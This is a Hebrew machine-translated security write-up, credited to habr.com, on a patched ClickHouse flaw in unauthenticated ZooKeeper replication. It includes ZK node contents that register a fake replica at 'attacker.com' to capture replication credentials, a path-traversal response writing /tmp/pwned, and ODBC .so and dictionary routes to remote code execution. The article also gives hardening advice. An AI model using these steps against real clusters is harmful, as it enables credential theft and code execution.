ืœืžื” ืืชื” ืฆืจื™ืš ืœืฉืžื•ืจ ืขืœ ื›ืœื•ื‘ื™ ื’ืŸ ื”ื—ื™ื•ืช ืกื’ื•ืจื™ื?

ืœืžื” ืืชื” ืฆืจื™ืš ืœืฉืžื•ืจ ืขืœ ื›ืœื•ื‘ื™ ื’ืŸ ื”ื—ื™ื•ืช ืกื’ื•ืจื™ื?

ืžืืžืจ ื–ื” ื™ืกืคืจ ืืช ืกื™ืคื•ืจื” ืฉืœ ืคื’ื™ืขื•ืช ืžืื•ื“ ืกืคืฆื™ืคื™ืช ื‘ืคืจื•ื˜ื•ืงื•ืœ ื”ืฉื›ืคื•ืœ ืฉืœ ClickHouse, ื•ื›ืŸ ื™ืจืื” ื›ื™ืฆื“ ื ื™ืชืŸ ืœื”ืจื—ื™ื‘ ืืช ืžืฉื˜ื— ื”ื”ืชืงืคื”.

ClickHouse ื”ื•ื ืžืกื“ ื ืชื•ื ื™ื ืœืื—ืกื•ืŸ ื›ืžื•ื™ื•ืช ื’ื“ื•ืœื•ืช ืฉืœ ื ืชื•ื ื™ื, ืœืจื•ื‘ ืชื•ืš ืฉื™ืžื•ืฉ ื‘ื™ื•ืชืจ ืžืขืชืง ืื—ื“. ืืฉื›ื•ืœื•ืช ื•ืฉื›ืคื•ืœ ื‘-ClickHouse ื‘ื ื•ื™ื™ื ืœืžืขืœื” ื’ืŸ ื”ื—ื™ื•ืช ืฉืœ ืืคืืฆ'ื™ (ื–ื›) ื•ื“ื•ืจืฉื™ื ื–ื›ื•ื™ื•ืช ื›ืชื™ื‘ื”.

ื”ืชืงื ืช ื‘ืจื™ืจืช ื”ืžื—ื“ืœ ืฉืœ ZK ืื™ื ื” ื“ื•ืจืฉืช ืื™ืžื•ืช, ื›ืš ืฉืืœืคื™ ืฉืจืชื™ ZK ื”ืžืฉืžืฉื™ื ืœื”ื’ื“ืจืช ืงืคืงื, Hadoop, ClickHouse ื–ืžื™ื ื™ื ืœืฆื™ื‘ื•ืจ.

ื›ื“ื™ ืœืฆืžืฆื ืืช ืžืฉื˜ื— ื”ื”ืชืงืคื” ืฉืœืš, ืขืœื™ืš ืชืžื™ื“ ืœื”ื’ื“ื™ืจ ืื™ืžื•ืช ื•ื”ืจืฉืื” ื‘ืขืช ื”ืชืงื ืช ZooKeeper

ื™ืฉ ื›ืžื•ื‘ืŸ ื›ืžื” ื“ื”-ืกืจื™ืืœื™ื–ืฆื™ื•ืช ืฉืœ Java ืžื‘ื•ืกืกื•ืช 0-ื™ื•ื, ืื‘ืœ ืชืืจื• ืœืขืฆืžื›ื ืฉืชื•ืงืฃ ื™ื›ื•ืœ ืœืงืจื•ื ื•ืœื›ืชื•ื‘ ืœ-ZooKeeper, ื”ืžืฉืžืฉ ืœืฉื›ืคื•ืœ ืฉืœ ClickHouse.

ื›ืืฉืจ ืžื•ื’ื“ืจ ื‘ืžืฆื‘ ืืฉื›ื•ืœ, ClickHouse ืชื•ืžืš ื‘ืฉืื™ืœืชื•ืช ืžื‘ื•ื–ืจื•ืช DDL, ืขื•ื‘ืจ ื“ืจืš ZK - ืขื‘ื•ืจื ื ื•ืฆืจื™ื ืฆืžืชื™ื ื‘ื’ื™ืœื™ื•ืŸ /clickhouse/task_queue/ddl.

ืœื“ื•ื’ืžื”, ืืชื” ื™ื•ืฆืจ ืฆื•ืžืช /clickhouse/task_queue/ddl/query-0001 ืขื ืชื•ื›ืŸ:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ื•ืœืื—ืจ ืžื›ืŸ, ื˜ื‘ืœืช ื”ื‘ื“ื™ืงื” ืชื™ืžื—ืง ื‘ืฉืจืชื™ ื”ืืฉื›ื•ืœื•ืช host1 ื•-host2. DDL ืชื•ืžืš ื’ื ื‘ื”ืคืขืœืช ืฉืื™ืœืชื•ืช CREATE/ALTER/DROP.

ื ืฉืžืข ืžืคื—ื™ื“? ืื‘ืœ ื”ื™ื›ืŸ ื™ื›ื•ืœ ืชื•ืงืฃ ืœื”ืฉื™ื’ ื›ืชื•ื‘ื•ืช ืฉืจืช?

ืฉื›ืคื•ืœ ClickHouse ืขื•ื‘ื“ ื‘ืจืžื” ืฉืœ ื˜ื‘ืœืื•ืช ื‘ื•ื“ื“ื•ืช, ื›ืš ืฉื›ืืฉืจ ื ื•ืฆืจืช ื˜ื‘ืœื” ื‘-ZK, ืžืฆื•ื™ืŸ ืฉืจืช ืฉื™ื”ื™ื” ืื—ืจืื™ ืขืœ ื”ื—ืœืคืช ืžื˜ื ื ืชื•ื ื™ื ืขื ืจืคืœื™ืงื•ืช. ืœื“ื•ื’ืžื”, ื‘ืขืช ื‘ื™ืฆื•ืข ื‘ืงืฉื” (ื™ืฉ ืœื”ื’ื“ื™ืจ ZK, chXX - ืฉื ื”ืขืชืง, ืคื• ื‘ืจ - ืฉื ืฉื•ืœื—ืŸ):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ื™ื™ื•ื•ืฆืจื• ืฆืžืชื™ื ืขืžื•ื“ื•ืช ะธ ืžื˜ื”.

ืชื•ึนื›ึถืŸ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ื”ืื ื ื™ืชืŸ ืœืžื–ื’ ื ืชื•ื ื™ื ืžืืฉื›ื•ืœ ื–ื”? ื›ืŸ, ืื ื™ืฆื™ืืช ื”ืฉื›ืคื•ืœ (TCP/9009) ื‘ืฉืจืช chXX-address ื—ื•ืžืช ื”ืืฉ ืœื ืชื™ืกื’ืจ ื•ืœื ื™ื•ื’ื“ืจ ืื™ืžื•ืช ืœืฉื›ืคื•ืœ. ืื™ืš ืœืขืงื•ืฃ ืืช ื”ืื™ืžื•ืช?

ืชื•ืงืฃ ื™ื›ื•ืœ ืœื™ืฆื•ืจ ืขื•ืชืง ื—ื“ืฉ ื‘-ZK ืคืฉื•ื˜ ืขืœ ื™ื“ื™ ื”ืขืชืงืช ื”ืชื•ื›ืŸ ืžืžื ื• /clickhouse/tables/01-01/foobar/replicas/chXX ื•ืฉื™ื ื•ื™ ื”ืžืฉืžืขื•ืช host.

ืชื•ึนื›ึถืŸ /clickhouse/tables/01โ€“01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ืื– ืืชื” ืฆืจื™ืš ืœื”ื’ื™ื“ ืœืขืชืงื™ื ื”ืื—ืจื™ื ืฉื™ืฉ ื‘ืœื•ืง ื ืชื•ื ื™ื ื—ื“ืฉ ื‘ืฉืจืช ืฉืœ ื”ืชื•ืงืฃ ืฉื”ื ืฆืจื™ื›ื™ื ืœืงื—ืช - ืฆื•ืžืช ื ื•ืฆืจ ื‘-ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (ืžื•ื ื” XX ืฉื’ื“ืœ ื‘ืื•ืคืŸ ืžื•ื ื•ื˜ื•ื ื™, ืฉืืžื•ืจ ืœื”ื™ื•ืช ื’ื“ื•ืœ ืžื”ืื—ืจื•ืŸ ื‘ื™ื•ืžืŸ ื”ืื™ืจื•ืขื™ื):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ืื™ืคื” ืžืงื•ืจ_ืขื•ืชืง - ืฉื ื”ืขืชืง ืฉืœ ื”ืชื•ืงืฃ ืฉื ื•ืฆืจ ื‘ืฉืœื‘ ื”ืงื•ื“ื, block_id - ืžื–ื”ื” ื‘ืœื•ืง ื ืชื•ื ื™ื, ืœืงื‘ืœ - ืคืงื•ื“ืช "ืงื‘ืœ ื—ืกื™ืžื”" (ื• ืœื”ืœืŸ ืคืงื•ื“ื•ืช ืœืคืขื•ืœื•ืช ืื—ืจื•ืช).

ืœืื—ืจ ืžื›ืŸ, ื›ืœ ื”ืขืชืง ืงื•ืจื ืื™ืจื•ืข ื—ื“ืฉ ื‘ื™ื•ืžืŸ ื•ืขื•ื‘ืจ ืœืฉืจืช ื”ื ืฉืœื˜ ืขืœ ื™ื“ื™ ื”ืชื•ืงืฃ ื›ื“ื™ ืœืงื‘ืœ ื‘ืœื•ืง ื ืชื•ื ื™ื (ืคืจื•ื˜ื•ืงื•ืœ ื”ืฉื›ืคื•ืœ ื”ื•ื ื‘ื™ื ืืจื™, ืคื•ืขืœ ืขืœ ื’ื‘ื™ HTTP). ืฉืจืช attacker.com ื™ืงื‘ืœ ื‘ืงืฉื•ืช:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ื›ืืฉืจ XXX ื”ื•ื ื ืชื•ื ื™ ื”ืื™ืžื•ืช ืœืฉื›ืคื•ืœ. ื‘ืžืงืจื™ื ืžืกื•ื™ืžื™ื, ื–ื” ืขืฉื•ื™ ืœื”ื™ื•ืช ื—ืฉื‘ื•ืŸ ืขื ื’ื™ืฉื” ืœืžืกื“ ื”ื ืชื•ื ื™ื ื‘ืืžืฆืขื•ืช ืคืจื•ื˜ื•ืงื•ืœ ClickHouse ื”ืจืืฉื™ ื•ืคืจื•ื˜ื•ืงื•ืœ HTTP. ื›ืคื™ ืฉืจืื™ืช, ืžืฉื˜ื— ื”ื”ืชืงืคื” ื”ื•ืคืš ืœื’ื“ื•ืœ ื‘ืื•ืคืŸ ืงืจื™ื˜ื™ ืžื›ื™ื•ื•ืŸ ืฉ-ZooKeeper, ื”ืžืฉืžืฉ ืœืฉื›ืคื•ืœ, ื ื•ืชืจ ืœืœื ืชืฆื•ืจืช ืื™ืžื•ืช.

ื‘ื•ืื• ื ืกืชื›ืœ ืขืœ ื”ืคื•ื ืงืฆื™ื” ืฉืœ ืงื‘ืœืช ื‘ืœื•ืง ื ืชื•ื ื™ื ืžืขืชืง, ื›ืชื•ื‘ ื‘ื‘ื™ื˜ื—ื•ืŸ ืžืœื ืฉื›ืœ ื”ื”ืขืชืงื™ื ื ืžืฆืื™ื ื‘ืฉืœื™ื˜ื” ื ืื•ืชื” ื•ื™ืฉ ื‘ื™ื ื™ื”ื ืืžื•ืŸ.

ืœืžื” ืืชื” ืฆืจื™ืš ืœืฉืžื•ืจ ืขืœ ื›ืœื•ื‘ื™ ื’ืŸ ื”ื—ื™ื•ืช ืกื’ื•ืจื™ื?
ืงื•ื“ ืขื™ื‘ื•ื“ ืฉื›ืคื•ืœ

ื”ืคื•ื ืงืฆื™ื” ืงื•ืจืืช ืจืฉื™ืžื” ืฉืœ ืงื‘ืฆื™ื, ืœืื—ืจ ืžื›ืŸ ืืช ืฉืžื•ืชื™ื”ื, ื”ื’ื“ืœื™ื, ื”ืชื•ื›ืŸ ืฉืœื”ื, ื•ืื– ื›ื•ืชื‘ืช ืื•ืชื ืœืžืขืจื›ืช ื”ืงื‘ืฆื™ื. ื›ื“ืื™ ืœืชืืจ ื‘ื ืคืจื“ ื›ื™ืฆื“ ื ืชื•ื ื™ื ืžืื•ื—ืกื ื™ื ื‘ืžืขืจื›ืช ื”ืงื‘ืฆื™ื.

ื™ืฉ ืžืกืคืจ ืชื™ืงื™ื•ืช ืžืฉื ื” ื‘ /var/lib/clickhouse (ืกืคืจื™ื™ืช ืื—ืกื•ืŸ ื‘ืจื™ืจืช ืžื—ื“ืœ ืžืงื•ื‘ืฅ ื”ืชืฆื•ืจื”):

ื“ื’ืœื™ื - ืกืคืจื™ื™ื” ืœื”ืงืœื˜ื” ื“ื’ืœื™ื, ื‘ืฉื™ืžื•ืฉ ื‘ื”ืชืื•ืฉืฉื•ืช ืœืื—ืจ ืื•ื‘ื“ืŸ ื ืชื•ื ื™ื;
tmp - ืกืคืจื™ื™ื” ืœืื—ืกื•ืŸ ืงื‘ืฆื™ื ื–ืžื ื™ื™ื;
user_files - ืคืขื•ืœื•ืช ืขื ืงื‘ืฆื™ื ื‘ื‘ืงืฉื•ืช ืžื•ื’ื‘ืœื•ืช ืœืกืคืจื™ื™ื” ื–ื• (INTO OUTFILE ื•ืื—ืจื•ืช);
ืžื˜ื” - ืงื‘ืฆื™ sql ืขื ืชื™ืื•ืจื™ ื˜ื‘ืœื”;
preprocessed_configs - ืงื‘ืฆื™ ืชืฆื•ืจื” ื ื’ื–ืจื•ืช ืžืขื•ื‘ื“ื™ื ืž /etc/clickhouse-server;
ื ืชื•ื ื™ื - ื”ืกืคืจื™ื™ื” ื‘ืคื•ืขืœ ืขื ื”ื ืชื•ื ื™ื ืขืฆืžื, ื‘ืžืงืจื” ื–ื” ืขื‘ื•ืจ ื›ืœ ืžืกื“ ื ืชื•ื ื™ื ืคืฉื•ื˜ ื ื•ืฆืจืช ื›ืืŸ ืกืคืจื™ื™ืช ืžืฉื ื” ื ืคืจื“ืช (ืœื“ื•ื’ืžื” /var/lib/clickhouse/data/default).

ืขื‘ื•ืจ ื›ืœ ื˜ื‘ืœื” ื ื•ืฆืจืช ืกืคืจื™ื™ืช ืžืฉื ื” ื‘ืกืคืจื™ื™ืช ืžืกื“ ื”ื ืชื•ื ื™ื. ื›ืœ ืขืžื•ื“ื” ื”ื™ื ืงื•ื‘ืฅ ื ืคืจื“ ื‘ื”ืชืื ืคื•ืจืžื˜ ืžื ื•ืข. ืœืžืฉืœ ืœืฉื•ืœื—ืŸ ืคื• ื‘ืจื ื•ืฆืจ ืขืœ ื™ื“ื™ ืชื•ืงืฃ, ื”ืงื‘ืฆื™ื ื”ื‘ืื™ื ื™ื™ื•ื•ืฆืจื•:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

ื”ืขืชืง ืžืฆืคื” ืœืงื‘ืœ ืงื‘ืฆื™ื ืขื ืื•ืชื ืฉืžื•ืช ื‘ืขืช ืขื™ื‘ื•ื“ ื‘ืœื•ืง ื ืชื•ื ื™ื ื•ืื™ื ื• ืžืืžืช ืื•ืชื ื‘ืฉื•ื ืื•ืคืŸ.

ื”ืงื•ืจื ื”ืงืฉื•ื‘ ื›ื ืจืื” ื›ื‘ืจ ืฉืžืข ืขืœ ืฉืจืฉื•ืจ ืœื ื‘ื˜ื•ื— ืฉืœ file_name ื‘ืคื•ื ืงืฆื™ื” WriteBufferFromFile. ื›ืŸ, ื–ื” ืžืืคืฉืจ ืœืชื•ืงืฃ ืœื›ืชื•ื‘ ืชื•ื›ืŸ ืฉืจื™ืจื•ืชื™ ืœื›ืœ ืงื•ื‘ืฅ ื‘-FS ืขื ื–ื›ื•ื™ื•ืช ืžืฉืชืžืฉ clickhouse. ืœืฉื ื›ืš, ื”ืขืชืง ื”ื ืฉืœื˜ ืขืœ ื™ื“ื™ ื”ืชื•ืงืฃ ื—ื™ื™ื‘ ืœื”ื—ื–ื™ืจ ืืช ื”ืชื’ื•ื‘ื” ื”ื‘ืื” ืœื‘ืงืฉื” (ื ื•ืกืคื• ืžืขื‘ืจื™ ืฉื•ืจื•ืช ื›ื“ื™ ืœื”ืงืœ ืขืœ ื”ื”ื‘ื ื”):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ื•ืื—ืจื™ ืฉืจืฉื•ืจ ../../../../../../../../../tmp/pwned ื”ืงื•ื‘ืฅ ื™ื™ื›ืชื‘ /tmp/pwned ืขื ืชื•ื›ืŸ hellofromzookeeper.

ื™ืฉื ืŸ ืžืกืคืจ ืืคืฉืจื•ื™ื•ืช ืœื”ืคื™ื›ืช ื™ื›ื•ืœืช ื›ืชื™ื‘ืช ืงื‘ืฆื™ื ืœื‘ื™ืฆื•ืข ืงื•ื“ ืžืจื—ื•ืง (RCE).

ืžื™ืœื•ื ื™ื ื—ื™ืฆื•ื ื™ื™ื ื‘-RCE

ื‘ื’ืจืกืื•ืช ื™ืฉื ื•ืช ื™ื•ืชืจ, ื”ืกืคืจื™ื™ื” ืขื ื”ื’ื“ืจื•ืช ClickHouse ื ืฉืžืจื” ืขื ื–ื›ื•ื™ื•ืช ืžืฉืชืžืฉ ื‘ื™ืช ืงืœื™ืง ื‘ึผึฐืจึดื™ืจึทืช ืžึถื—ื“ึธืœ. ืงื‘ืฆื™ ื”ื’ื“ืจื•ืช ื”ื ืงื•ื‘ืฆื™ XML ืฉื”ืฉื™ืจื•ืช ืงื•ืจื ื‘ืขืช ื”ืืชื—ื•ืœ ื•ืœืื—ืจ ืžื›ืŸ ืžืื—ืกืŸ ื‘ืžื˜ืžื•ืŸ /var/lib/clickhouse/preprocessed_configs. ื›ืืฉืจ ืžืชืจื—ืฉื™ื ืฉื™ื ื•ื™ื™ื, ื”ื ื ืงืจืื™ื ืžื—ื“ืฉ. ืื ื™ืฉ ืœืš ื’ื™ืฉื” ืœ /etc/clickhouse-server ืชื•ืงืฃ ื™ื›ื•ืœ ืœื™ืฆื•ืจ ืžืฉืœื• ืžื™ืœื•ืŸ ื—ื™ืฆื•ื ื™ ืกื•ื’ ื”ื”ืคืขืœื” ื•ืœืื—ืจ ืžื›ืŸ ื”ืคืขืœ ืงื•ื“ ืฉืจื™ืจื•ืชื™. ื’ืจืกืื•ืช ื ื•ื›ื—ื™ื•ืช ืฉืœ ClickHouse ืื™ื ืŸ ืžืกืคืงื•ืช ื–ื›ื•ื™ื•ืช ื›ื‘ืจื™ืจืช ืžื—ื“ืœ, ืืš ืื ื”ืฉืจืช ื”ื™ื” ืžืขื•ื“ื›ืŸ ื‘ื”ื“ืจื’ื”, ื–ื›ื•ื™ื•ืช ื›ืืœื” ืขืœื•ืœื•ืช ืœื”ื™ืฉืืจ. ืื ืืชื” ืชื•ืžืš ื‘ืืฉื›ื•ืœ ClickHouse, ื‘ื“ื•ืง ืืช ื”ื–ื›ื•ื™ื•ืช ืขืœ ืกืคืจื™ื™ืช ื”ื”ื’ื“ืจื•ืช, ื”ื™ื ื—ื™ื™ื‘ืช ืœื”ื™ื•ืช ืฉื™ื™ื›ืช ืœืžืฉืชืžืฉ root.

ODBC ืœ-RCE

ื‘ืขืช ื”ืชืงื ืช ื—ื‘ื™ืœื”, ื ื•ืฆืจ ืžืฉืชืžืฉ clickhouse, ืื‘ืœ ืกืคืจื™ื™ืช ื”ื‘ื™ืช ืฉืœื• ืœื ื ื•ืฆืจื” /nonexistent. ืขื ื–ืืช, ื‘ืขืช ืฉื™ืžื•ืฉ ื‘ืžื™ืœื•ื ื™ื ื—ื™ืฆื•ื ื™ื™ื, ืื• ืžืกื™ื‘ื•ืช ืื—ืจื•ืช, ืžื ื”ืœื™ ืžืขืจื›ืช ื™ื•ืฆืจื™ื ืกืคืจื™ื™ื” /nonexistent ื•ืœืชืช ืœืžืฉืชืžืฉ clickhouse ื’ื™ืฉื” ืœื›ืชื•ื‘ ืืœื™ื• (SSZB! ืžืฉื•ืขืจ. ืžึฐืชื•ึผืจื’ึฐืžึธืŸ).

ClickHouse ืชื•ืžืš ODBC ื•ื™ื›ื•ืœ ืœื”ืชื—ื‘ืจ ืœืžืื’ืจื™ ืžื™ื“ืข ืื—ืจื™ื. ื‘-ODBC, ืืชื” ื™ื›ื•ืœ ืœืฆื™ื™ืŸ ืืช ื”ื ืชื™ื‘ ืœืกืคืจื™ื™ืช ืžื ื”ืœื™ ื”ื”ืชืงืŸ ืฉืœ ืžืกื“ ื”ื ืชื•ื ื™ื (.so). ื’ืจืกืื•ืช ื™ืฉื ื•ืช ื™ื•ืชืจ ืฉืœ ClickHouse ืืคืฉืจื• ืœืš ืœืขืฉื•ืช ื–ืืช ื™ืฉื™ืจื•ืช ื‘ืžื˜ืคืœ ื”ื‘ืงืฉื•ืช, ืืš ื›ืขืช ื ื•ืกืคื” ื‘ื“ื™ืงื” ืงืคื“ื ื™ืช ื™ื•ืชืจ ืฉืœ ืžื—ืจื•ื–ืช ื”ื—ื™ื‘ื•ืจ ืœ- odbc-bridge, ื›ืš ืฉืœื ื ื™ืชืŸ ืขื•ื“ ืœืฆื™ื™ืŸ ืืช ื ืชื™ื‘ ื”ื ื”ื’ ืžื”ื‘ืงืฉื”. ืื‘ืœ ื”ืื ืชื•ืงืฃ ื™ื›ื•ืœ ืœื›ืชื•ื‘ ืœืกืคืจื™ื™ืช ื”ื‘ื™ืช ื‘ืืžืฆืขื•ืช ื”ืคื’ื™ืขื•ืช ืฉืชื•ืืจื” ืœืขื™ืœ?

ื‘ื•ืื• ื ื™ืฆื•ืจ ืงื•ื‘ืฅ ~/.odbc.ini ืขื ืชื•ื›ืŸ ื›ื–ื”:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

ื•ืื– ื‘ื”ืคืขืœื” SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ื”ืกืคืจื™ื™ื” ืชื™ื˜ืขืŸ test.so ื•ืงื™ื‘ืœ RCE (ืชื•ื“ื” buglloc ืขื‘ื•ืจ ื”ื˜ื™ืค).

ืคื’ื™ืขื•ื™ื•ืช ืืœื• ื•ืื—ืจื•ืช ืชื•ืงื ื• ื‘ื’ืจืกื” 19.14.3 ืฉืœ ClickHouse. ื“ืื’ ืœ-ClickHouse ื•-ZooKeepers ืฉืœืš!

ืžืงื•ืจ: www.habr.com

ื”ื•ืกืคืช ืชื’ื•ื‘ื”